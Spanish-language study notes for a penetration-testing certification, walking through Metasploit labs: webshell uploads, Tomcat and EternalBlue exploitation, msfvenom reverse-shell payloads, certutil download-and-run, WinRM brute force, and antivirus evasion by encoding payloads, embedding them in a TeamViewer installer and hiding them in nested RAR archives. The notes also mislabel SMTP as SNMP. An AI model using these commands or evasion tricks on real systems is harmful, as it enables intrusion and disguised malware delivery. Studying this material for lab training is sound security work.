![[Pasted image 20260609204922.png]]

Cambiamos el Content Type de “application/x-php” a “image/gif” y lo enviamos con Forward: ![[Pasted image 20260609205010.png]]

Vemos que se ha añadido correctamente (ya podemos desactivar el proxy): ![[Pasted image 20260609205051.png]]![[Pasted image 20260609205111.png]]

Si ahora hacemos un fuzzing de directorios encontraremos varios pero el que nos interesa es image/: ![[Pasted image 20260609205409.png]]

Pero image/webshell php no sale. Seguimos buscando: ![[Pasted image 20260609205738.png]]

La ruta es /images/vendor/webshell php ![[Pasted image 20260609205806.png]]![[Pasted image 20260609205848.png]]

CPTS

4. Laboratorio

Credenciales para conectarse via RDP: htb-student / HTB_@cademy_stdnt!

![[Pasted image 20260609212922.png]]

Pasos:

HOST1: 172.16.1.11

  1. Nos conectamos al foothold con las credenciales via RDP:

![[Pasted image 20260609213147.png]]

  1. Miramos el archivo de las credenciales:

![[Pasted image 20260609214114.png]]

  1. Comprobamos conexion y accedemos a la pagina web

![[Pasted image 20260609213240.png]] ![[Pasted image 20260609213727.png]] ![[Pasted image 20260609214151.png]]

  1. Vamos a Manager App y metemos las credenciales de tomcat

![[Pasted image 20260609214240.png]]

  1. Una vez dentro vemos el tipico form para subir archivos WAR por lo que creamos un reverse shell JSP (Java que ejecuta Apache) pero con extension WAR

![[Pasted image 20260609214624.png]] ![[Pasted image 20260609214733.png]]

  1. Abrimos un listener por ese puerto y subimos el archivo: ![[Pasted image 20260609214851.png]]![[Pasted image 20260609214907.png]]

  2. Verificamos que se ha subido y lo visitamos

![[Pasted image 20260609214940.png]]![[Pasted image 20260609215114.png]]![[Pasted image 20260609215128.png]]![[Pasted image 20260609215220.png]]

HOST2: blog.inlanefreight.local

  1. Visitamos el sitio web:

![[Pasted image 20260609215439.png]]![[Pasted image 20260609215505.png]]

  1. Le damos a login y ponemos la credenciales que hemos visto en el archivo:

![[Pasted image 20260609214114.png]]![[Pasted image 20260609215626.png]]

  1. Una vez loggeados vemos que alguien ya encontro una vulnerabilidad conocida:

![[Pasted image 20260609215812.png]]![[Pasted image 20260609220002.png]]

  1. Copiamos todo el codigo en un archivo .rb y lo movemos a la ruta de los scripts de MSF. Luego lo recargamos para que salga y lo usamos

![[Pasted image 20260609220412.png]]![[Pasted image 20260609220628.png]]![[Pasted image 20260609220645.png]]![[Pasted image 20260609220920.png]]

He mirado la IP en /etc/hosts

![[Pasted image 20260609221013.png]]

![[Pasted image 20260609221118.png]]![[Pasted image 20260609221128.png]]

  1. Respuestas

![[Pasted image 20260609221157.png]]![[Pasted image 20260609221255.png]]

HOST3:

  1. Abrimos el sitio web

![[Pasted image 20260609221613.png]] ![[Pasted image 20260609221634.png]]

  1. Intentamos subir un shell aspx

![[Pasted image 20260609221850.png]]![[Pasted image 20260609222005.png]]![[Pasted image 20260609222027.png]]![[Pasted image 20260609222036.png]]

  1. Navegamos a el ![[Pasted image 20260609222107.png]]![[Pasted image 20260609222140.png]]

No tenemos acceso para acceder a la ruta Admin ![[Pasted image 20260609222244.png]]

  1. Escaneamos el host y vemos que es un Windows Server 2008 muy probablemente vulnerable a EternalBlue

![[Pasted image 20260609222442.png]]![[Pasted image 20260609222548.png]]![[Pasted image 20260609222932.png]]![[Pasted image 20260609223059.png]]

CPTS

1. Entendiendo La Arquitectura

Modulos

ls /usr/share/metasploit-framework/module/

Sintaxis de los modulos

<TIPO> / <OS> / <SERVICE> / <NAME>
EJ: exploit/windows/ftp/scriptftp_list

Tipos:

  • Auxiliary: escaneos, fuzzing, sniffing…
  • Encoders asegura que los payloads esten intactos en el destino
  • Exploits: explotan vulnerabilidades
  • NOPs: no tienen codigo de operacion manteniendo el tamaño del payload constante entre ataques
  • Payloads: codigo que se ejecuta de forma remota y vuelve a llamar a la maquina atacante con un shell
  • Plugins: se pueden integrar scrips adicionales
  • Post: amplia gama de modulos de recopliacion de info, pivoting…

Plugins

ls /usr/share/metasploit-framework/plugins/

Scripts

ls /usr/share/metasploit-framework/scripts/

Herramientas

ls /usr/share/metasploit-framework/tools/

Estrucutra

5 categorias principales:

  • Enumeration

    • Validacion de servicios
      • Escaneo activo
      • Escaneo pasivo
    • Busqueda de vulnerabilidades
  • Preparation

    • Auditacion de codigo
    • Checkeo de dependencias
    • Importacion de modulos personalizados
  • Exploitation

    • Correr el modulo de forma local
    • Establecer parametros
    • Correr
  • Escalada de privilegios

    • Busqueda de vulnerabilidades
    • Recopilacion de credenciales
    • Impersonacion de tokens
  • Post explotation

    • Pivoting
    • Recopilacion de credenciales
    • Exfiltracion de datos
    • Limpieza

CPTS

2. Comandos Basicos Y Manejo De Workspaces

Comandos basicos

Comandos Explicacion
msfconsole -q
help Menu de ayuda
version
show all Nos muestra todos los modulos
show exploit Nos muestra todos los modulos de la categoria dada
search algo Buscara en los modulos lo que contenga nuestra cadena
use module o N Podemos seleccionar el modulo por su nombre o por el numero en el que aparece en las opciones de modulos que ha encontrado el search
show options Muestras las opciones que tiene el modulo para configurar las importantes
Normalmente se divide en las opciones del modulo y las del payload
set VARIABLE VALOR Asi se configura una variable local para ese modulo
setg VARIABLE VALOR Asi se configura una variable global para todos los modulos que contengan esa variable
set payload windows/meterpreter/reverse_tcp Para cambiar el payload a otro
run Correr el modulo
back Ir un paso atras, en este caso no estaremos usando el modulo
search cve:2017 type:exploit platform:windows Con esto estamos buscando CVEs del 2017 con la categoria de exploit para la plataforma de Windows
connect -h Es una comando que nos permite comunicarnos con un host, parecido a usar netcat
connect IP port Nos dara un banner el servicio
Tambien se puede hacer un listener

Manejo de workspaces

Comandos Explicacion
service postgresql start && msfconsole -q
db_status Ver si la base de datos esta activa
workspace -h
workspace Nos muestra una lista de los workspace
workspace -a NOMBRE Crear un workspace
workspace Nos dara la lista y veremos que estamos usando NOMBRE
workspace OTRO_NOMBRE Para cambiar entre workspace
workspace -d NOMBRE Borrar un workspace
workspace -r NOMBRE NOMBRE_NUEVO Renombrar un workspace

CPTS

1. Importar Resultados De Nmap A MSF

Exportar info a MetaSploit

Se importa el xml a metasploit. Esto hace que siempre tengamos la informacion ordenada en una bbdd dividida por workspace, escaneo y tambien nos filtra al principio la informacion mas relevante de los escaneos

COMANDOS PARA EXPORTAR:

service postgrel start msfconsole

workspace -a NOMBRE_WORKSPACE workspace db_status db_import /RUTA/XML hosts (ver los hosts de la bbdd) services (puertos encontrados para el host) db nmap OPCIONES IP (realizar un scaneo nmap desde metasploit que se guardara en la bbdd)

Cada bbdd esta separada por workspace y es persistente al salirse

COMANDOS DE MSFCONSOLE PARA SACAR TODA LA INFORMACION DE NMAP

Comando Explicacion
db_stats Estadisticas rapidas del workspace
db_import XML Importar el XML
db_export -f xml/pedump nombre.xml/txt Exportar salidas en .xml o .txt
hosts Muestra todos los hosts encontrados en el escaneo
hosts -v Informacion detallada de los hosts
hosts -c address, os_name_os_flavor,info Elegir las colunmas concretas
services Ver los servicios extraidos
services -p N –rhosts Sirve para ver solo las IPs con esos puertos. Util para lanzar modulos a esos puertos especificos
servivces -p N -R Completa el campo RHOSTS de las OPTIONS con las IPs que contengan esos puertos
getg RHOSTS, unsetg RHOSTS Con el comando anterior hemos puesto RHOSTS como variable global a las IPs con esos puertos. Con estos comandos vemos la variable global RHOST si existe y la vaciamos
creds Muestra todas las credenciales encontradas
creds -p PUERTO/admin(nombre o patron) Muestra las credenciales filtradas por lo que se le pase ya sea un puerto o un nombre de usaurio…
notes Guarda las notas de los NSE y Metasploit
notes -R IP Ver notas de un host
vulns Ver vulnerabilidades encontradas
loot Evidencias que ha encontrado metasploit (passwords, config.xml…)
routes Rutas y poviting si existen

EJEMPLO: ![[Pasted image 20260215105927.png]]![[Pasted image 20260215105939.png]]![[Pasted image 20260215105949.png]]![[Pasted image 20260215110011.png]]![[Pasted image 20260215110027.png]]![[Pasted image 20260215110035.png]]![[Pasted image 20260215111151.png]]![[Pasted image 20260215111208.png]]![[Pasted image 20260215111218.png]]

Mas cosas: ![[Pasted image 20260215113154.png]]![[Pasted image 20260215113203.png]]![[Pasted image 20260215113216.png]]

RHOSTS ![[Pasted image 20260215113229.png]] ![[Pasted image 20260215113253.png]]![[Pasted image 20260215113509.png]]![[Pasted image 20260215113531.png]] Salen los dos que tenian 111 como RHOSTS directamente ![[Pasted image 20260215113717.png]]

CPTS

2. Port Scanning Con Modulos Auxiliares

Estos modulos auxiliares sirven para escanear, descubrir y fuzzear

Se pueden usara para TCP/UDP Port Scanning y para enumerar servicios FTP, SSH, HTTP… para sacar mas informacion

Se puede usar recoleccion de informacion y post-explotacion

Estos modulos son especialmente utiles para post-explotacion. Una vez que tenemos acceso al objetivo para no tener que importar Nmap

Infraestructura del LAB

![[Pasted image 20260216172743.png]]

Objetivo: encontrar Open Ports en el primer target con auxiliary modules MSF Despues: explotar el servicio que esta corriendo para obtener un punto de apoyo Tras esto: usar el punto de apoyo para acceder al sistema interno de la subred (pivoting). Aqui es donde usaremos modulos para scan open ports en el segundo objetivo

Pasos

![[Pasted image 20260216173021.png]] ![[Pasted image 20260216173027.png]]![[Pasted image 20260216173032.png]]![[Pasted image 20260216173038.png]]![[Pasted image 20260216173044.png]]![[Pasted image 20260216173049.png]]![[Pasted image 20260216173054.png]]![[Pasted image 20260216173059.png]] FALTA UN 1 EN demo1.ine.local ![[Pasted image 20260216173116.png]]![[Pasted image 20260216173120.png]]![[Pasted image 20260216173124.png]]![[Pasted image 20260216173129.png]]![[Pasted image 20260216173133.png]]![[Pasted image 20260216173139.png]]

Otras formas de hacerlo: exportando un script tipo Nmap propio y exportando el propio nmap

![[Pasted image 20260216173150.png]]![[Pasted image 20260216173154.png]]![[Pasted image 20260216173158.png]]![[Pasted image 20260216173202.png]]

CPTS

3. Enumeracion MSF

Metasploit tiene muchisimos modulos auxiliares para poder enumerar servicios, esto junto a su bbdd postgresql y poder de separacion en workspaces nos hace todo mas facil

En todas las enumeraciones se haran los mismos pasos (previamente abremos realizado un escaneo de puertos para conocer los puertos y servicios que estan corriendo)

Paso Explicacion
service postgresql start Iniciamos la bbdd de msf
msfconsole Iniciamos msfconsole
workspace -a NOMBRE Creamos un workspace para ese servicio
search type:auxiliary name:NOMBRE_PROTCOLO Buscamos los modulos auxiliares que nos ayudaran a la enumeracion
setg RHOST IP/hostname
setg RHOSTS IP/hostname

(unsetg)
Ponemos como variables globales la IP/hostname para que no tengamos que ponerlo constantemente
use X/NOMBRE_MODULO Elegimos el modulo
show options Vemos las opciones que hay que configurar en cada modulo
set NOMBRE_OPTION VALOR Ponemos valor a las que necesitemos
run Corremos el modulo
db_export -f (xml, nmap…) NOMBRE_ARCHIVO Exportamos resultados

EJEMPLO COMPLETO AL FINAL DE ESTA NOTA

Otros comandos utiles de msfconsole

Comando Explicacion
unset OPTION Eliminar valor de una opcion
services Muestra los servicios encontrados
vulns Ver vulnerabilidades
loot Ver info critica recogida
back Volver pero sin salir de metasploit. Puedes salirte de un modulo por ejemplo
search portscan Para buscar tipos de escaneo para encontrar los puertos y servicios que estan corriendo

Wordlist de metasploit

USERNAME:

  • /usr/share/metasploit-framework/data/wordlist/common_users.txt
  • /usr/share/metasploit-framework/data/wordlist/unix_usernames.txt

PASSWORD:

  • /usr/share/metasploit-framework/data/wordlist/common_pass.txt
  • /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt

Ejemplo completo

Con FTP, nuestro target es victim-1:

![[Pasted image 20260218192415.png]]![[Pasted image 20260218192424.png]]![[Pasted image 20260218192430.png]]

Aqui falta: workspace -a http_enumeration

![[Pasted image 20260218192437.png]] ![[Pasted image 20260218192507.png]]![[Pasted image 20260218192515.png]]![[Pasted image 20260218192520.png]]

CPTS

1. Evaluacion De Vulnerabilidades Con MSF

Proceso de escanear un objetivo para encontrar vulnerabilidades y verificar si pueden ser explotadas

Hemos conseguido identificar y explotar malas configuraciones pero en esta seccion vamos a explotar el proceso de usar modelos auxiliares y exploits para escanear e identificar vulnerabilidades de servicios, OS y webapps

Esta info debe estar accesoble durante la fase de explotacion

Comando usados en el PoC

Comando Explicacion
sudo nmap -sn IP_red/mascara Encontrar el host activo
service postgrestql start
msfconsole
setg RHOST/S IP
workspace -a Metasploitable3
db_nmap -Pn -sS -sV -O -T4 IP Escaneo de versiones y puertos en el host activo
hosts
services
search type:exploit name:“NOMBRE DEL SERVICIO” iis–> no tiene modulos de vulns para esa version
mysql–> no hay nada para nuestra version
sunglassfish–>encontramos uno pero no sabemos para que version
use “NOMBRE_MODULO_SUNGLASSSFISH” Vemos que no tiene payload pero el default es un reverse shell de Liniux
info En la descripcion dice que ha sido probado para las versiones 2.0, 3.0 y 4.0 (La nuestra es la 4.0 por lo que nos sirve)
set payload windows/meterpreter/reverse_tcp Le adjuntamos el payload con reverse shell de meterpreter para Windows
Podriamos tratar de explotarlo pero no estamos viendo explotaciones aun

Usando searchsploit para encontrar vulns

Searchsploit es una base de datos con vulnerabilidades conocidas que ademas contiene algunos modulos de MSF en su base de datos. Nosotros nos queremos centrar en esos para luego usarlos en Metasploit

En este caso vamos a buscar exploits para SMB 445/TCP

Comando Explicacion
searchsploit “Microsoft Windows SMB” | grep -e “Metasploit” Buscamos exploits SMB Windows
Vemos un resultado que dice Windows 7/8.1/2008 R2/2012 llamado “EternalBlue” pero no es de MSF
msfconsole Volvemos a MSF y lo buscamos por si existiese
search “Eternablue” Encontramos un modulo exploit y un scanner auxiliar que nos verifica primero si el objetivo es vulnerable
use /auxiliary/scanner/
run Nos dice que es explotable
use /exploit/…/eternalblue
run Nos saldran logs de debug y se abrira una sesion de Meterpreter
sysinfo Vemos info del sistema
exit

Usando db_autopwn de MSF

Es un plugin que facilita el exploit y ataques de vulnerabilidades pero fue eliminado de forma oficial en MSF por lo que se tiene que instalar manualmente

Comando Explicacion
wget URL Descargamos el plugin del GitHub
mv archivo /usr/share/metasploit-framework/plugins/ Lo movemos a la carpeta de plugins
msfconsole
load db_autopwn Lo cargamos en MSF
db_autopwn Es como el help, nos da opciones
db_autopwn -p -t -p: selecciona los puertos del objetivo
-t: muestra todos los modulos de exploit en base a los puertos del objetivo
db_autopwn -p -t -PI 445 -PI: especificar los puertos
analyze Analiza el contenido de la base de datos MSF (hosts y servicios) y nos da una lista de vulnerabilidades
En este caso no saca 3:
- Eternalblue (ready to test)
- Psexec (requiere credenciales)
- Doublepulsar (ready to test)
vulns Ahora nos muestra las vulnerabilides en este caso de SMB

CPTS

1. Creacion De Payloads Msfvenom

Tambien visto en: [[2. Creando payloads con MSFVenom]]

Comandos

Comandos Explicacion
msfvenom Menu de ayuda
msfvenom –list payloads Listar los payloads disponibles

Diferencias los stage payloads de los no:

- Stage: sistema/arquitectura/meterpreter/reverse_tcp. Este es un stage porque primero genera un meterpreter y luego carga el reverse shell tcp
- Non-satge: sistema/arquitectura/meterpreter_reverse_tcp. Este es un non-stage porque directamente carga el meterpreter y reverse shell de una
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe -a x86: especificamos que la arquitectura es 32bits
-p payload: ponemos un payload, en este caso stage y para 32bits (si no se especifica la arquitectura es 32bits)
- Se ponen las variables
-f exe: se define la extension del archivo
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe Para un 64bits
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe Para Linux 32bits
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe Para 64bits
msfvenom –list format Formatos en los que podemos crear el archivo
Ahora queremos traspasarlo y despues crear un handler
sudo python -m SimpleHTTPServer 80 Creamos un servidor simple http en la carpeta de los payloads
msfconsole -q Vamos a crear el handler
use multi/handler
set payload /payload que se va ejecutar Ponemos el payload que hemos creado. Ejemplo: para linux x64: linux/x64/meterpreter/reverse_tcp
set LHOST Nuestra_IP
set LPORT Puerto_del_msfvenom
run Ya estara el handler
Desde el Windows System
En el browser navegamos hasta http://IP:80 Alli veremos los payloads. Descargamos el que necesitemos
Lo ejecutamos
Volviendo a nuestra Linux
En MSF veremos que el multi/handler a conseguido el reverse shell meterpreter

CPTS

2. Codificando Payloads Msfvenom Y Evasion Ids Ips

Comandos

Comandos Explicacion
msfvenom –list encoders Lista de los encoders que podemos usar. Los unicos que tienen una puntuacion execelente son:

- cmd/powershell_base64
- x86/shikata_ga_nai: usaremos este para tanto windows como linux
msfvenom -p windows/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -e x86/shikata_ga_nai -f exe > nombre.exe Vemos que se realizo 1 iteracion de shikata_ga_nai. Podemos encodearlo las veces que queramos, cuanto mas menos AVs lo detectaran
-i 10 o –iterations 10 Numero de iteraciones
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -b ‘\x00’ -i10 -e x86/shikata_ga_nai -f elf > nombre.exe Para Linux 32bits con 10 iteraciones

-b ‘\x00’ : elimina bytes nulos al codificar por si causasen erros

Otros son: - 0x0a → LF (salto de línea)
- 0x0d → CR (retorno de carro) - 0x20 -> evitar espacios…
Pasar y abrir multihandler
python -m SimpleHTTPServer 80
msfconsole -q
use multi/handler
set payload PAYLOAD_QUE_USEMOS
set LHOST Nuestra IP
ser LPORT PUERTO_USADO_MSFVENOM
run
Desde el objetivo
Navegamos en el browser a: http://IP:Puerto y descargamos el paylaod
Ejecutamos y obtemos el payload en nuestro multi/handler

Evasion IDS/IPS

-k: keep working -x /RUTA/EJECUTABLE_O_ARCHIVOBENIGNO

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=IP LPORT=PUERTO -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5

Otro ejemplo de evasion con archivos:

  1. Creamos el payload encodeado
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=IP LPORT=PUERTO -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
  1. Descargamos rar para linux y creamos un .rar para el archivo .js creado
wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar
rar a ~/test.rar -p ~/test.js

![[Pasted image 20260610104245.png]]

  1. Le quitamos la extension .rar
mv test.rar test

![[Pasted image 20260610104319.png]]

  1. Volvemos a hacer un rar sobre test y le quitamos de nuevo la extension
rar a test2.rar -p test
mv test2.rar test2

![[Pasted image 20260610104435.png]]

Comprobar deteccion

Esto requiere el registro gratuito en VirusTotal

msf-virustotal -k <API key> -f ARCHIVO

![[Pasted image 20260610104446.png]]

CPTS

3. Automatizacion Scripts En MSF

Comandos Explicacion
ls -ls /usr/share/metasploit-framework/scripts/resource/ Scripts que vienen prepackaged
vim /usr/share/metasploit-framework/scripts/resource/auto_brute.rc

Ejemplo creando un multi/handler

nano handlre.rc
use multi/hanlder
set payload windows/meterpreter/reverse_tcp
set lhost IP
set lport N
run
msfconolse -r handler.rc Se iniciara el msf y luego se ejecutara el script

Ejemplo portscan.rc

nano portscan.rc
use auxiliary/scanner/portscan/tcp
set rhost IP
run
msfconolse -r portscan.rc Se iniciara el msf y luego se ejecutara el script

Tambien se pueden ejecutar directamente dentro de MSF

resource /ruta/portscan.rc Se ejecutara el script

Podemos crear un scritp con los comandos realizados previamente

msfconsole -q
use auxiliary/scanner/portscan/tcp
set rhost IP
run
makerc /ruta/archivo.rc Se creara un script en la ruta con los comandos realizados

CPTS

1. Explotando Un HTTP File Server Vulnerable

Un HGS es un servidor web disenado para comparticion de archivos y documentos

Normalmente corre en el puerto –> 80 y usa el protocolo HTTP

Rejetto es un popular free and open source HFS que puede ser montado en Windows y Linux Rejetto HFS V2.3 es vulnerable a remote command execution

MSF tiene un exploit que podemos usar para ganar acceso al host de HFS

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
db_status
workspace -a hfs
setg rhost/s IP
db_nmap -Pn -sS -sV -O -T4 IP Podemos ver un HFS 2.3 y vemos que el sistema esta corriendo en un Windows Server 2008 R2
Podremos ver la pagina web desde el browser poniendo la ip:puerto
search type:exploit name:rejetto
use 0
show options Tenemos todo
info Vemos que esta explotacion se debe a una sanetizacion pobre al usar regex en el archivo PaserLib.pas usando %00 explotando los comandos de scripting del HFS
Este es succesful en HFS 2.3
run

Ejemplo

![[Pasted image 20260301144714.png]]![[Pasted image 20260301144717.png]]![[Pasted image 20260301144721.png]]![[Pasted image 20260301144725.png]]![[Pasted image 20260301144729.png]]![[Pasted image 20260301144733.png]]

CPTS

2. Explotando Windows MS17 010 SMB Vuln (eternalblue)

Visto en: [[1. Explotando MS17-010 SMB Vuln (EternalBlue)]]

CPTS

3. Explotando Winrm

Explicacion de WinRM vista en: [[1. Explotando WinRM]]

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a WinRM
db_nmap -Pn -sS -sV -O -T4 IP No vemos un servidor WinRM en la salida por lo que tendremos que hacer un scaneo de todos los puertos
db_nmap -Pn -sS -sV -O -p- -T4 IP
services Vemos que en el puerto 5985 hay un puerto WinRM. Aunque en la info ponga otra cosa sabemos que WinRM tiene ese puerto y ademas pone que es un HTTPAPI, WinRM trabaja sobre HTTP
search type:auxiliary name:winrm Vamos a ver los metodos de autenticacion asociados
use …/winrm_auth_methods
show options
setg rhosts IP
URI Para asegurarnos de que es esa esxactamente vamso al navegador y buscamos –> IP:Puerto/wsman. Si nos carga pero esta en blanca, ESA ES
run Vemos que tiene activado el protocolo de negociacion y el basico lo que significa que podemos hacer un bruteforce
search winrm_login
use
show options
set user_file /usr/share/metasploit/framework/data/wordlist/common_users.txt
set pass_file /usr/share/metasploit/framework/data/wordlist/unix_passwords.txt
set verbose false
run Encontramos administrator:tinkerbell
search winr_cmd
use
set username administrator
set password tinkerbell
set cmd COMANDO(whoami)
search winrm_script
use
show options
set username adminsitrator
set password tinkerbell
set force_vbs true
run
getuid

CPTS

4. Explotando Una Vulnerabilidad De Apache Tomcat Webserver

Es un open source Java servlet (clase de java que se ejecuta como webserver)

Se usa para contruir y hostear websites dinamicos y aplicaciones web basadas en java sw. Suelen estar desarrolladas con PHP

Usa el protocolo HTTP para facilitar la comunicacion de capas bajas entre servidor y cliente

Puerto –> 8080

Apache Tomcat V8.5.19 es vulnerable a remote code execution que puede permitir potencialmente al atacante subir y ejecutar payloads JSP para ganar acceso remoto

Podemos usar el modulo exploit de MSF y consecuentemente ganar acceso al objetivo

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a Tomcat
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP Encontramos un Apache Tomcat 8.5.19 en un Windows Server 2088 R2 - 2012
services
Abrimos el navegador IP:8080 para ver si hay un apache tomcat realmente
search type:exploit tomcat_jsp
use 0
show options
info Este payload sube un payload jsp y lo ejecuta
set payload java/jsp_shell_bind_tcp
show options Para ver las opciones del payload ahora
set shell cmd
run Si no funciona a la primera, ctl C y volver a correr
Ctl Z Para ponerlo en segundo plano porque queremos tener un meterpreter session
sessions
Abrimos una nueva terminal
msfvenom-p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N-f exe > nombre.exe
sudo python -m SimpleHTTPServer 80
Volvemos a MSF
sessions N
certutil -urlcache -f http://IP/nombre.exe nombre.exe
Volvemos a la otra terminal
nano handler.rc
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST IP
set LPORT N
run
msfconsole -r handler.rc
Volvemos a la sesion de MSF anterior
.\nombre.exe
Si volvemos a la otra MSF tendremos un Meterpreter session

Ejemplo

![[Pasted image 20260301160534.png]]![[Pasted image 20260301160538.png]]![[Pasted image 20260301160542.png]]![[Pasted image 20260301160547.png]]![[Pasted image 20260301160551.png]]![[Pasted image 20260301160555.png]]![[Pasted image 20260301160559.png]]

Vamos a una nueva terminal ![[Pasted image 20260301160610.png]]

Volvemos al MSF ![[Pasted image 20260301160619.png]]

Volvemos a la otra terminal ![[Pasted image 20260301160632.png]]![[Pasted image 20260301160636.png]]![[Pasted image 20260301160641.png]]

Volvemos al otro MSF ![[Pasted image 20260301160652.png]]

Volvemos al handler ![[Pasted image 20260301160703.png]]

CPTS

1. Explotando Un FTP Server Vulnerable

FTP es un protocolo de transferencia de archivos que usa el puerto 21/TCP usado para facilitar la transferencia de archivos entre servidor y clientes

Tambien se suele usar para transferencia de archivos hacia o desde un webserver

vsftpd es un servidor FTP para Unix que es el default para Ubuntu, CentOS y Fedora

vsftpd v2.3.4 es vulnerable a command execution y es facilitado por un backdoor mailioso que fue añadido al archivo de descarga de vsftpd desde un ataque de cadena de suministro

Comandos

Comandos Explicacion
service postgresql start & msfconsole -q
workspace -a NOMBRE
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP Encontramos un servicio ftp por el puerto 21 con version 2.3.4
services
analyze No funciona
search vsftp Solo hay un exploit para la version 2.3.4
use
info Este modulo explota una backdoor maliciosa que fue añadida al archivo de descarga introducida en un tar.gz en 2011 y fue eliminado ese año
run
/bin/bash -i
Vamos a ponerla con Meterpreter
Ctl Z Para llevarla al segundo plano
sessions Para ver el numero de session
search shell_to_meterpreter
use
show options
set LHOST IP
set session N
run Si nos da un error no pasa nada
sessions Tendremos ahi la Meterpreter

Ejemplo

![[Pasted image 20260302154632.png]]![[Pasted image 20260302154642.png]]![[Pasted image 20260302154649.png]]![[Pasted image 20260302154656.png]]

CPTS

2. Explotando Samba

SMB es un protocolo de comparticion de archivos de red que se usa para facilitar la la comparticion de archivos y perifericos entre ordenadores en una misma LAN

Puerto –> 445/TCP y si esta bajo NetBIOS 139/TCP

SAMBA es la version Linux de SMB que permite a los sistemas Windows acceder a sheres y dispositivos Linux

SAMB V3.5.0 es vulnerable a ejcucion remota de codigo permitiendo a clientes maliciosos subir archivos una libreria compartida a un share escribible y despues causa al servidor a cargarlo y ejecutarlo

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a SAMBA
db_nmap -Pn -sS -sV -O -T4 IP Vemos un samba pero sin una version exacta
setg rhosts IP
search type:exploit name:samba Queremos el is_known_pipename
use
show options
check Verifica si es ejecutable
run
/bin/bash -i
Vamos a poner un Meterpreter
Ctl Z
search shell_to_meterpreter
use
show options
set LHOST IP
set session N
run
sessions

Ejemplo

![[Pasted image 20260302160322.png]]![[Pasted image 20260302160333.png]]![[Pasted image 20260302160348.png]]![[Pasted image 20260302160350.png]]![[Pasted image 20260302160354.png]]![[Pasted image 20260302160358.png]]![[Pasted image 20260302160400.png]]![[Pasted image 20260302160403.png]]

CPTS

3. Explotando Un SSH Server Vulnerable

SSH es un protocolo de adminsitracion remota que ofrece encriptacion y es el sucesor de telnet. Suele ser usado apra acceder a servidores y sistemas remotamente

Puerto –> 22/TCP

libssh es una libreria multiplataforma implementada en SSHv2 en el lado del cliente y servidor

libssh V0.6.0-0.8.0 es vulnerable a bypass de autenticacion que puede ser explotable para ejecutar comandos en un servidor objetivo

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a SSH_libssh
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services Vemos un servicio ssh v2.0
search libssh_Auth_bypass
use
show options
set spawn_pty true
run
sessions
cat /etc/*release Informacion del sistema
uname -r Informacion del kernel
Vamos a poner un Meterpreter
Ctl Z
search shell_to_meterpreter
use
show options
set LHOST IP
set session N
run
sessions

CPTS

4. Explotando Un Snmp Server Vulnerable

SNMP es un protocolo de comunicacion que es usado para la transmision de email

Puerto –> 25/TCP. Puede ser configurado tambein en 465 y 6587

Haraka es un open source servidor SNMP de alto rendimiento creado en Node.js. Este viene con un plugin para procesamiento adjunto. Las versiones anteriores a V2.8.9 son vulnerables a command injection

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a snmp
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services Vemos un snmp en el puerto 25 version 2.8.8
search type:exploit name:haraka
use
show options
set srvport 9898 Lo cambiamos porque el payload usa el 8080
set email_to [email protected] Debe ser aceptado por el servidor
set payload linux/x64/meterpreter_reverse_tcp
set lhost eht1
run

Me sale el lab con el puerto 25 cerrado

CPTS

1. Comandos Post Explotacion

Comandos Explicacion
sysinfo Informacion del sistema comprometido
getuid Conseguir el usuario
help Lista de comandos
exit Terminarla (NO HACER AHORA)
bg Poner en background
sessions -h
sessions -C COMANDO -i N Ejecuta un comando en una session sin tener que meterte
sessions -k N Matar la session (NO HACER AHORA)
sessions -n NOMBRE Poner nombre a las sessiones
sessions N
pwd Ver el directorio en el que estamos
cd ..
cat flag1.txt
edit archivo Editar una archivo
:q salir
cd Secret FIles
cat flag2.txt
cd ..
download flag5.zip /ruta/nombre_archivo
bg
unzip flag5.txt
checksum md5 /bin/binario Obtener el hash de un binario
getenv VARIABLE Conseguir el valor de una variable
search -d /usr/bin -f *backdoor* Busca un archivo en el sistema de directorio
search -d /usr/bin -f *.php
shell Obtener una shell native del sistema
Ctl C Termina la shell y vuelve a Meterpreter
ps Ver la lista de procesos. Si queremos migrar a un proceso en especifico
migrate N (PID)
execute -f CMANDO Ejecutar un comando en el sistema desde meterpreter
mkdir nombre
rmdir nombre
ls o lls

Ejemplo

Solo hago la explotacion ![[Pasted image 20260302170835.png]]![[Pasted image 20260302170840.png]]![[Pasted image 20260302170843.png]]

Tiene un la extensión xdebug habilitada ![[Pasted image 20260302170852.png]]![[Pasted image 20260302170856.png]]

CPTS

2. Mejorando Command Shell A Meterpreter Shell

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a upgrading_shells
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services Encontramos un samba
search type:exploit samba is_known_pipename
use
show options
run Nos dara una shell normal
/bin/bash -i
Ctl Z Background
sessions
